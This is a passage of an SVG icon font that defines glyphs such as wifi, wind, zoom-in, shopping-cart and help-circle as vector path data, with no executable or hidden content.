12.5032q16.1261 0 28.5774 -11.3655t13.9185 -27.4247l14.9333 -163.456 q1.50522 -16.5572 13.8099 -27.7239q12.3047 -11.1667 29.0273 -11.1027h184.917l0.169312 -0.000335693q16.1561 0 28.6078 11.3888t13.8894 27.4808zM362.07 608.383q-1.46725 -16.0593 -13.9185 -27.4248q-12.4513 -11.3655 -28.5774 -11.3655 q-17.6666 0 -30.1697 12.5032t-12.5032 30.1697q0 1.94562 0.177002 3.88269l14.9333 163.37q4.35504 48.1932 41.6839 82.3218q37.3289 34.1287 85.7185 34.158h185.429l0.523193 0.00109863q48.4032 0 85.7538 -34.1164q37.3506 -34.1165 41.7227 -82.3218 l14.9333 -163.413q0.177002 -1.93677 0.177002 -3.88263q0 -17.6666 -12.5032 -30.1697t-30.1697 -12.5032q-16.1261 0 -28.5774 11.3655t-13.9185 27.4247l-14.9333 163.456q-1.46704 16.0747 -13.929 27.4511q-12.462 11.3765 -28.6035 11.3765l-0.30481 -0.0010376 h-185.6q-16.123 -0.0327148 -28.5494 -11.4214q-12.4263 -11.3887 -13.8612 -27.4478z" /> <glyph glyph-name="wifi" unicode="" d="M240.64 327.765q49.1211 40.9142 129.13 69.8705q80.0085 28.9562 143.937 28.9562t143.937 -28.9562q80.0085 -28.9562 129.13 -69.8705q11.6492 -9.2431 26.52 -9.2431q17.6639 0 30.1653 12.5013t12.5013 30.1653q0 19.363 -14.5733 32.1125 q-58.9453 49.0972 -154.956 83.8446q-96.0102 34.7474 -172.724 34.7474q-76.7142 0 -172.724 -34.7474q-96.0102 -34.7475 -154.956 -83.8446q-16.1467 -12.8116 -16.1467 -33.4236q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q16.0292 0 28.0928 10.5542zM88.4053 480 q75.1151 66.2622 199.166 113.158q124.051 46.8958 224.215 46.8958q100.165 0 224.216 -46.8958q124.051 -46.8958 199.166 -113.158q12.1027 -10.6825 28.2454 -10.6825q17.6705 0 30.1765 12.506t12.506 30.1765q0 19.2568 -14.4372 32 q-135.205 119.259 -307.539 161.252q-172.333 41.9923 -344.667 -6.10352e-05q-172.333 -41.9924 -307.539 -161.252q-14.4372 -12.7432 -14.4372 -32q0 -17.6706 12.506 -30.1765q12.506 -12.506 30.1766 -12.506q16.1428 0 28.2459 10.6825zM388.224 173.867 q22.9733 16.3228 59.1771 27.8749q36.2039 11.5522 64.3855 11.5522q28.1817 0 64.3856 -11.5521t59.1771 -27.875q10.8285 -7.3223 23.9002 -7.3223q17.664 0 30.1653 12.5013t12.5013 30.1653q0 21.4053 -17.1589 34.2023q-32.1603 22.847 -82.8407 39.0164 t-90.13 16.1694t-90.13 -16.1694q-50.6804 -16.1694 -82.8407 -39.0164q-17.1589 -12.7969 -17.1589 -34.2023q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q13.0718 0 23.9005 7.32231zM512 42.6667zM469.333 42.6667q0 -17.664 12.5013 -30.1653 q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1654 12.5013q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5012 -30.1653z" /> <glyph glyph-name="x-square" unicode="" d="M170.667 682.88v-597.76q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h597.76q17.6 0 30.0267 12.4267q12.4266 12.4267 12.4266 30.0267v597.76q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4389 -30.0145zM85.3333 682.88 q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452zM353.835 481.835l256 -256 q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.641zM609.835 542.165l-256 -256 q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977l256 256q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6896 -13.0256z" /> <glyph glyph-name="wind" unicode="" d="M439.467 670.08q12.5118 12.5858 30.2587 12.5858q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013l-0.264038 0.000793457h-384.128h-0.00653076q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653 q12.5013 -12.5013 30.1653 -12.5013h0.00653076h384l0.528503 -0.00109863q52.9744 0 90.4659 37.4915q37.4915 37.4915 37.4915 90.4659q0 30.6512 -18.8068 63.155q-18.8068 32.5038 -45.3804 47.7794q-29.6764 17.109 -63.9311 17.109q-22.0423 0 -48.6404 -11.0636 q-26.598 -11.0635 -42.1378 -26.6961q-11.9001 -12.3854 -11.9001 -29.5612q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.3163 0 29.7348 12.0679zM506.88 37.76q15.5399 -15.6323 42.1378 -26.6958t48.64 -11.0635q52.9921 0 90.496 37.504 q37.5038 37.504 37.504 90.496t-37.504 90.496q-37.504 37.504 -90.496 37.504l-0.452454 -0.000793457h-511.872q-17.6613 -0.00271606 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626t30.1607 -12.504h512l0.181519 0.00038147 q17.6816 0 30.1955 -12.5138q12.5138 -12.5138 12.5138 -30.1955q0 -10.1644 -6.21631 -20.9782t-14.9998 -15.9289q-9.89893 -5.7134 -21.3284 -5.7134q-17.7443 0 -30.2556 12.5827q-12.592 13.1055 -30.7665 13.1055q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653 q0 -18.0321 12.9319 -30.5988zM786.603 535.979q18.7354 18.6879 45.1974 18.6879q26.496 0 45.248 -18.752t18.752 -45.248q0 -26.4486 -18.7184 -45.2006q-18.7185 -18.752 -45.167 -18.7993h-746.581q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653 t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h746.667q61.7488 0.0751038 105.45 43.8298q43.7014 43.7546 43.7014 105.503q0 61.824 -43.7546 105.579q-43.7547 43.7546 -105.579 43.7546q-25.5625 0 -56.4626 -12.7764t-48.9984 -30.8289 q-13.0673 -12.5867 -13.0673 -30.7298q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.072 0 30.6459 12.9805z" /> <glyph glyph-name="x" unicode="" d="M737.835 670.165l-512 -512q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977l512 512q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.109 0 -30.6896 -13.0256z M225.835 609.835l512 -512q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-512 512q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.6411z" /> <glyph glyph-name="x-circle" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM609.835 542.165l-256 -256 q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.641 11.977l256 256q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6896 -13.0256zM353.835 481.835l256 -256 q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.641z" /> <glyph glyph-name="zap" unicode="" d="M128 256q-17.6574 0.0065918 -30.154 12.5079t-12.4966 30.1587q0 15.4417 9.88268 27.3067l426.667 512q15.0868 14.8414 32.7617 15.4896t31.2731 -13.5712t11.0586 -34.5157l-36.6934 -293.376h335.701q17.6575 -0.0065918 30.1541 -12.5079 q12.4966 -12.5013 12.4966 -30.1587q0 -15.4417 -9.88269 -27.3067l-426.667 -512q-15.0868 -14.8414 -32.7617 -15.4896t-31.2731 13.5712q-13.5982 14.2193 -11.0586 34.5158l36.6933 293.376zM219.093 341.333h292.907q17.6589 -0.00497437 30.1567 -12.5063 q12.4979 -12.5013 12.4979 -30.1603q0 -2.65552 -0.329285 -5.29068l-24.6187 -196.949l275.2 330.24h-292.907q-17.659 0.00497437 -30.1568 12.5063t-12.4978 30.1604q0 2.65552 0.329285 5.29068l24.6187 196.949z" /> <glyph glyph-name="zoom-in" unicode="" d="M469.333 42.6667q-104.247 0.00901794 -192.703 51.4202q-88.4565 51.4111 -139.86 139.872q-51.4035 88.461 -51.4035 192.708q0 104.256 51.4079 192.72q51.4079 88.4641 139.872 139.872q88.4641 51.4079 192.72 51.408q104.256 0 192.72 -51.4079 q88.4641 -51.408 139.872 -139.872t51.408 -192.72q0 -55.7117 -24.6123 -125.944t-59.3889 -113.757l156.8 -156.8q11.977 -12.4007 11.977 -29.641q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.2403 0 -29.6411 11.977l-156.8 156.8 q-43.3876 -34.7629 -113.441 -59.3657q-70.0538 -24.6028 -125.65 -24.6028zM469.333 128h0.0172729q123.648 0 211.157 87.5093t87.5093 211.157q0.000305176 123.648 -87.5093 211.157t-211.157 87.5093h-0.0172729q-123.641 -0.00714111 -211.145 -87.5165 q-87.5043 -87.5093 -87.5043 -211.15t87.5043 -211.15q87.5043 -87.5094 211.145 -87.5161zM426.667 554.667v-256q0.00274658 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1627 12.4994q12.5013 12.4994 12.504 30.1607v256 q-0.00268555 17.6613 -12.504 30.1607q-12.5014 12.4995 -30.1626 12.4995q-17.6613 0 -30.1626 -12.4995q-12.5013 -12.4994 -12.5042 -30.1607zM341.333 384h256q17.6613 0.00271606 30.1607 12.5041t12.4995 30.1626t-12.4994 30.1626q-12.4995 12.5014 -30.1608 12.5041 h-256q-17.6613 -0.00265503 -30.1607 -12.504q-12.4994 -12.5014 -12.4994 -30.1627t12.4994 -30.1627t30.1607 -12.504z" /> <glyph glyph-name="zoom-out" unicode="" d="M709.035 126.635q-43.5224 -34.7704 -113.75 -59.3784q-70.2271 -24.608 -125.933 -24.608q-104.256 0 -192.72 51.4079q-88.4642 51.4079 -139.872 139.872q-51.4078 88.4641 -51.408 192.72q0 104.256 51.408 192.72q51.408 88.4641 139.872 139.872 q88.4641 51.408 192.72 51.408t192.72 -51.408t139.872 -139.872q51.408 -88.4642 51.408 -192.72q0 -55.7062 -24.608 -125.933q-24.6081 -70.2271 -59.3784 -113.75l156.8 -156.8q11.977 -12.4007 11.977 -29.641q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013 q-17.2403 0 -29.6411 11.977zM469.333 128h0.0172729q123.648 0 211.157 87.5093t87.5093 211.157q0.000305176 123.648 -87.5093 211.157t-211.157 87.5093h-0.0172729q-123.641 -0.00714111 -211.145 -87.5165q-87.5043 -87.5093 -87.5043 -211.15t87.5043 -211.15 q87.5043 -87.5094 211.145 -87.5161zM341.333 384h256q17.6613 0.00271606 30.1607 12.5041t12.4995 30.1626t-12.4994 30.1626q-12.4995 12.5014 -30.1608 12.5041h-256q-17.6613 -0.00265503 -30.1607 -12.504q-12.4994 -12.5014 -12.4994 -30.1627t12.4994 -30.1627 t30.1607 -12.504z" /> <glyph glyph-name="command" unicode="" d="M597.333 213.333h-170.667v-85.3333q0 -70.656 -50.0053 -120.661t-120.661 -50.0053q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053h85.3333v170.667h-85.3333v0 q-70.656 0 -120.661 50.0053q-50.005 50.0052 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.6557 0 120.661 -50.0054q50.0053 -50.0053 50.0053 -120.661v-85.3333h170.667v85.3333q0 70.6561 50.0053 120.661t120.661 50.0053 q70.656 0 120.661 -50.0053t50.0053 -120.661q0 -70.656 -50.0054 -120.661q-50.0053 -50.0053 -120.661 -50.0053h-85.3333v-170.667h85.3333v0q70.656 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661t-50.0053 -120.661q-50.0054 -50.0053 -120.661 -50.0053 q-70.6561 0 -120.661 50.0053q-50.0049 50.0053 -50.0053 120.661zM426.667 469.333v-170.667h170.667v170.667h-170.667zM341.333 554.667v85.3333q0 35.3281 -25.0027 60.3307q-25.0026 25.0026 -60.3307 25.0026q-35.328 0 -60.3307 -25.0026 q-25.0026 -25.0027 -25.0026 -60.3307t25.0026 -60.3307q25.0027 -25.0026 60.3307 -25.0026h85.3334zM341.333 213.333h-85.3333v0q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0027q35.328 0 60.3307 25.0027 q25.0027 25.0027 25.0027 60.3307zM682.667 128q0 -35.328 25.0026 -60.3307q25.0027 -25.0027 60.3307 -25.0027t60.3307 25.0027t25.0027 60.3307t-25.0027 60.3307t-60.3307 25.0027h-85.3333v-85.3334zM768 554.667q35.3281 0 60.3307 25.0026t25.0026 60.3307 q0 35.328 -25.0026 60.3307q-25.0027 25.0027 -60.3307 25.0027t-60.3307 -25.0027q-25.0026 -25.0027 -25.0026 -60.3307v-85.3333h85.3333z" /> <glyph glyph-name="cloud" unicode="" horiz-adv-x="1044" d="M768.19 512h0.0159912q105.949 0 180.932 -74.983q74.983 -74.983 74.983 -180.932t-74.983 -180.932q-74.983 -74.983 -180.932 -74.983l-0.0159912 4.91738e-07h-383.872l-0.378265 -0.000186354q-104.233 0 -192.677 51.3965t-139.841 139.841 q-51.3965 88.4445 -51.3965 192.677q0 104.233 51.3965 192.677q51.3965 88.4445 139.841 139.841q88.4445 51.3965 192.677 51.3965q112.407 0 218.466 -75.0079q106.06 -75.0079 143.512 -180.992h22.1866zM768.19 426.709h-53.76q-13.679 0.00335693 -25.7803 9.37936 q-12.1014 9.37598 -15.5211 22.6206q-23.9426 92.7006 -108.647 158.308t-180.447 65.607q-123.613 0 -211.097 -87.4844q-87.4843 -87.4843 -87.4843 -211.097t87.4843 -211.097t211.097 -87.4843l0.241272 9.91821e-05h383.915q70.6382 0 120.631 49.9928 q49.9929 49.9929 49.9929 120.631t-49.9928 120.631q-49.9929 49.9928 -120.632 49.9928z" /> <glyph glyph-name="hash" unicode="" d="M170.667 469.333h682.667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013zM170.667 213.333h682.667 q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013zM384.256 772.693l-85.3333 -768 q-0.258911 -2.33969 -0.258911 -4.69333q0 -17.6652 12.5022 -30.1674q12.5022 -12.5022 30.1674 -12.5022q15.8181 0 28.2444 11.127q12.4263 11.127 14.1662 26.8492l85.3333 768q0.258911 2.33966 0.258911 4.69336q0 17.6652 -12.5022 30.1674t-30.1674 12.5022 q-15.8182 0 -28.2445 -11.127t-14.1661 -26.8492zM640.256 772.693l-85.3333 -768q-0.258911 -2.33936 -0.258911 -4.69333q0 -17.6652 12.5021 -30.1674q12.5022 -12.5022 30.1674 -12.5022q15.8181 0 28.2444 11.1271q12.4264 11.1271 14.1663 26.8492l85.3333 768 q0.258911 2.33917 0.258911 4.69336q0 17.6652 -12.5022 30.1674t-30.1674 12.5022q-15.8182 0 -28.2445 -11.127q-12.4263 -11.1271 -14.1661 -26.8493z" /> <glyph glyph-name="headphones" unicode="" d="M85.3333 213.333v170.667q0 115.907 57.0941 214.193q57.0941 98.2858 155.38 155.38q98.2857 57.0941 214.193 57.0941q115.907 0 214.193 -57.0941q98.2858 -57.0941 155.38 -155.38q57.0941 -98.2857 57.0941 -214.193v-298.667q0 -52.992 -37.504 -90.496 q-37.504 -37.504 -90.496 -37.504h-42.6667q-52.9919 0 -90.496 37.504q-37.5041 37.504 -37.504 90.496v128q0 52.992 37.504 90.496t90.496 37.504h85.3333v42.6667q0 92.6718 -45.696 171.307q-45.6959 78.6348 -124.331 124.331q-78.6348 45.6959 -171.307 45.6959 q-92.6718 0 -171.307 -45.6959q-78.6348 -45.6959 -124.331 -124.331q-45.696 -78.6349 -45.696 -171.307v-42.6667h85.3333q52.992 0 90.496 -37.504t37.504 -90.496v-128q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-42.6666q-52.992 0 -90.496 37.504 q-37.504 37.504 -37.504 90.496zM853.333 256h-85.3333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-128q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h42.6667q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653zM170.667 256v-170.667 q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h42.6667v0q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v128q0 17.664 -12.5013 30.1653t-30.1654 12.5013z" /> <glyph glyph-name="underline" unicode="" d="M213.333 768q0 17.664 12.5013 30.1653t30.1653 12.5013q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667q0 -88.32 62.5067 -150.827q62.5067 -62.5067 150.827 -62.5067q88.3201 0 150.827 62.5067q62.5067 62.5067 62.5067 150.827v298.667 q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5014q12.5013 -12.5013 12.5013 -30.1653v-298.667q0 -123.648 -87.5093 -211.157q-87.5093 -87.5093 -211.157 -87.5093q-123.648 0 -211.157 87.5093q-87.5093 87.5093 -87.5093 211.157zM170.667 -42.6667 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h682.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653q-12.5014 -12.5013 -30.1653 -12.5013h-682.667z" /> <glyph glyph-name="italic" unicode="" d="M669.568 682.667h141.099q17.6613 0.00280762 30.1607 12.5041q12.4995 12.5013 12.4995 30.1626t-12.4995 30.1626t-30.1607 12.504h-384h-0.00653076q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6641 12.5013 -30.1653t30.1653 -12.5013h0.00653076h151.765 l-224 -597.333h-141.099q-17.6613 -0.00270081 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504h384q17.6613 0.00270382 30.1607 12.504q12.4995 12.5013 12.4995 30.1626q0 17.6613 -12.4995 30.1626 q-12.4994 12.5013 -30.1607 12.504h-151.765z" /> <glyph glyph-name="bold" unicode="" d="M743.936 399.701q45.3396 -25.2567 77.4277 -79.8625t32.0881 -106.506q0 -88.32 -62.5067 -150.827q-62.5067 -62.5067 -150.827 -62.5067l-0.118469 3.29048e-05h-384q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v682.667q0 17.664 12.5013 30.1653 t30.1653 12.5013h341.333q88.3137 -0.00628662 150.816 -62.5129q62.5021 -62.5067 62.5021 -150.82q0 -38.0234 -19.5475 -83.4282t-47.1671 -71.537zM298.667 682.667v-256h298.667q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496q0 52.9921 -37.504 90.496 t-90.496 37.504h-298.667zM298.667 85.3334h341.333q52.9919 0 90.496 37.504q37.504 37.504 37.504 90.496t-37.504 90.496t-90.496 37.504h-341.333v-256z" /> <glyph glyph-name="crop" unicode="" d="M302.764 679.38l379.946 3.28534v0q52.9919 0 90.4958 -37.5039t37.5039 -90.4958v-383.999h170.666q17.6613 -0.00268555 30.1606 -12.504q12.4995 -12.5013 12.4995 -30.1626t-12.4994 -30.1626q-12.4993 -12.5013 -30.1606 -12.504h-170.666v-170.666 q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.6639 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v170.666h-383.999q-53.0535 0 -90.5266 37.5508t-37.4731 90.833l3.28532 379.562l-173.568 -1.49335l-0.383999 -0.00170898q-17.6647 0 -30.1665 12.5018 q-12.5018 12.5018 -12.5018 30.1664q0 17.5064 12.3893 30.0077q12.3893 12.5013 29.895 12.6589l175.061 1.53601l1.53603 175.061q0.157562 17.5057 12.6589 29.895q12.5013 12.3893 30.0077 12.3893q17.6647 0 30.1665 -12.5018t12.5018 -30.1665l-0.00170898 -0.384033z M301.996 594.047l-3.28531 -380.714q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h383.999v383.999q0 17.6341 -12.4385 30.1503q-12.4384 12.5162 -29.8441 12.5162z" /> <glyph glyph-name="help-circle" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM512 128h-0.00653076 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h0.00653076q17.6613 -0.00267029 30.1607 -12.504q12.4995 -12.5014 12.4995 -30.1626t-12.4995 -30.1626t-30.1607 -12.504zM428.075 497.835q-3.97705 -12.182 -15.8611 -20.8036 q-11.884 -8.62161 -24.6988 -8.62161q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 7.79657 2.75726 15.0893q16.6147 47.1924 63.7822 80.5919q47.1675 33.3994 97.1992 33.3994q70.6559 0 120.661 -50.0054t50.0054 -120.661l-6.10352e-05 -0.156586 q0 -76.1277 -82.9867 -131.499q-34.7065 -23.2939 -74.1973 -36.992q-6.56415 -2.18576 -13.4827 -2.18576q-17.668 0 -30.1722 12.5042t-12.5042 30.1722q0 12.7386 8.55374 24.6024q8.55377 11.8638 20.64 15.8882q28.5258 10.3078 53.8453 27.008 q44.9706 30.0459 44.9706 60.5867l0.00012207 0.139191q0 35.328 -25.0027 60.3307t-60.3307 25.0027q-25.0359 0 -48.6259 -16.7176q-23.5901 -16.7176 -31.8858 -40.339z" /> <glyph glyph-name="paperclip" unicode="" d="M884.523 428.587l-392.107 -392.107q-25.8864 -25.8864 -70.1161 -44.2069q-44.2297 -18.3205 -80.8386 -18.3205q-88.3816 0 -150.932 62.5503q-62.5503 62.5503 -62.5503 150.932q0 36.6089 18.3205 80.8386q18.3205 44.2297 44.2069 70.1161l392.107 392.107 q15.5333 15.5333 42.0736 26.5267t48.5078 10.9933q53.0339 0 90.5676 -37.5338q37.5337 -37.5337 37.5337 -90.5676q0 -21.9674 -10.9933 -48.5077t-26.5267 -42.0736l-392.533 -392.107q-12.5126 -12.5126 -30.208 -12.5126q-17.6863 0 -30.2034 12.5171t-12.5171 30.2034 q0 17.6955 12.5126 30.208l362.24 361.813q11.5641 12.3145 11.5641 29.2075q0 17.6641 -12.5013 30.1653t-30.1653 12.5013q-16.8756 0 -29.1855 -11.5434l-362.24 -361.813q-16.1417 -15.6242 -27.5656 -42.5809t-11.4239 -49.4216q0 -53.0097 37.5165 -90.5262 q37.5165 -37.5165 90.5262 -37.5165q22.4575 0 49.4081 11.4176q26.9506 11.4176 42.5735 27.5503l392.533 392.107q25.879 25.8791 44.1945 70.0963q18.3154 44.2172 18.3154 80.8157q0 88.3566 -62.5326 150.889t-150.889 62.5326q-36.5985 0 -80.8157 -18.3153 q-44.2172 -18.3154 -70.0963 -44.1945l-392.107 -392.107q-36.2321 -36.2321 -61.8747 -98.1387t-25.6426 -113.147q0 -123.704 87.5492 -211.253q87.5492 -87.5492 211.253 -87.5492q51.24 0 113.147 25.6426q61.9066 25.6426 98.1388 61.8747l392.107 392.107 q11.977 12.4007 11.977 29.641q0 17.6641 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.2403 0 -29.6417 -11.9768z" /> <glyph glyph-name="shopping-cart" unicode="" d="M341.333 -128q-52.992 0 -90.496 37.504t-37.504 90.496q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504t90.496 -37.504t37.504 -90.496q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504zM341.333 -42.6667q17.664 0 30.1653 12.5013t12.5013 30.1653 t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM853.333 -128q-52.9919 0 -90.496 37.504t-37.504 90.496q6.10352e-05 52.992 37.504 90.496q37.504 37.504 90.496 37.504t90.496 -37.504t37.504 -90.496 q6.10352e-05 -52.992 -37.504 -90.496q-37.5041 -37.504 -90.496 -37.504zM853.333 -42.6667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1654 -12.5013z M278.912 682.667h702.421q17.6534 -0.0106201 30.1472 -12.512q12.4938 -12.5013 12.4938 -30.1547q0 -4.22247 -0.827576 -8.36267l-71.68 -357.931q-8.41718 -42.6637 -45.1506 -72.858t-80.2195 -30.1943q-0.888184 0 -1.77661 0.0123596h-450.645 q-0.541748 -0.00460815 -1.0856 -0.00460815q-46.4993 0 -83.6852 32.6298q-37.1859 32.6298 -43.2292 78.7348l-64.8107 491.52q-2.00975 15.3288 -14.3736 26.2049q-12.3638 10.8761 -27.8238 10.9151h-96h-0.00653076q-17.664 0 -30.1653 12.5013 q-12.5013 12.5013 -12.5013 30.1653t12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h0.00653076h96.0853q46.4267 -0.0703735 83.5556 -32.6989t43.1644 -78.6611l13.3973 -101.973zM330.325 293.12q2.08304 -16.055 14.3332 -26.6514q12.2502 -10.5964 28.6748 -10.4686 h451.84q0.404724 -0.00767517 0.809082 -0.00767517q14.5157 0 26.7799 10.0783q12.2643 10.0783 15.0777 24.3187l61.44 306.944h-639.147z" /> <glyph glyph-name="tv" unicode="" d="M409.003 640l-140.501 140.501q-11.977 12.4008 -11.977 29.6411q0 17.6641 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013q17.2403 0 29.641 -11.977l183.168 -183.168l183.168 183.168q12.4008 11.9771 29.6411 11.9771q17.6639 0 30.1653 -12.5013 t12.5013 -30.1653q0 -17.2404 -11.977 -29.6411l-140.501 -140.501h238.336q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-682.667q-52.992 0 -90.496 37.504 q-37.504 37.504 -37.504 90.496v469.333q0 52.9919 37.504 90.496q37.504 37.5041 90.496 37.504zM170.667 554.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-469.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h682.667 q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-682.667z" /> <glyph glyph-name="wifi-off" unicode="" d="M669.172 166.545q-4.15656 -0.837753 -8.39661 -0.837753q-13.5765 0 -24.6384 7.87102q-22.9513 16.3072 -59.1205 27.8483q-36.1693 11.5411 -64.3239 11.5411q-28.1547 0 -64.3239 -11.5411q-36.1692 -11.5411 -59.1205 -27.8483q-11.3387 -8.45627 -25.4834 -8.45627 q-17.6471 0 -30.1364 12.4894q-12.4894 12.4894 -12.4894 30.1365q0 9.36987 5.49332 19.7159q5.49332 10.346 13.2552 15.5947q32.1154 22.8281 82.7304 38.9843t90.0171 16.1562q13.0115 0 25.9741 -1.13348l-118.542 118.585q-41.3907 -9.33099 -93.7212 -35.1964 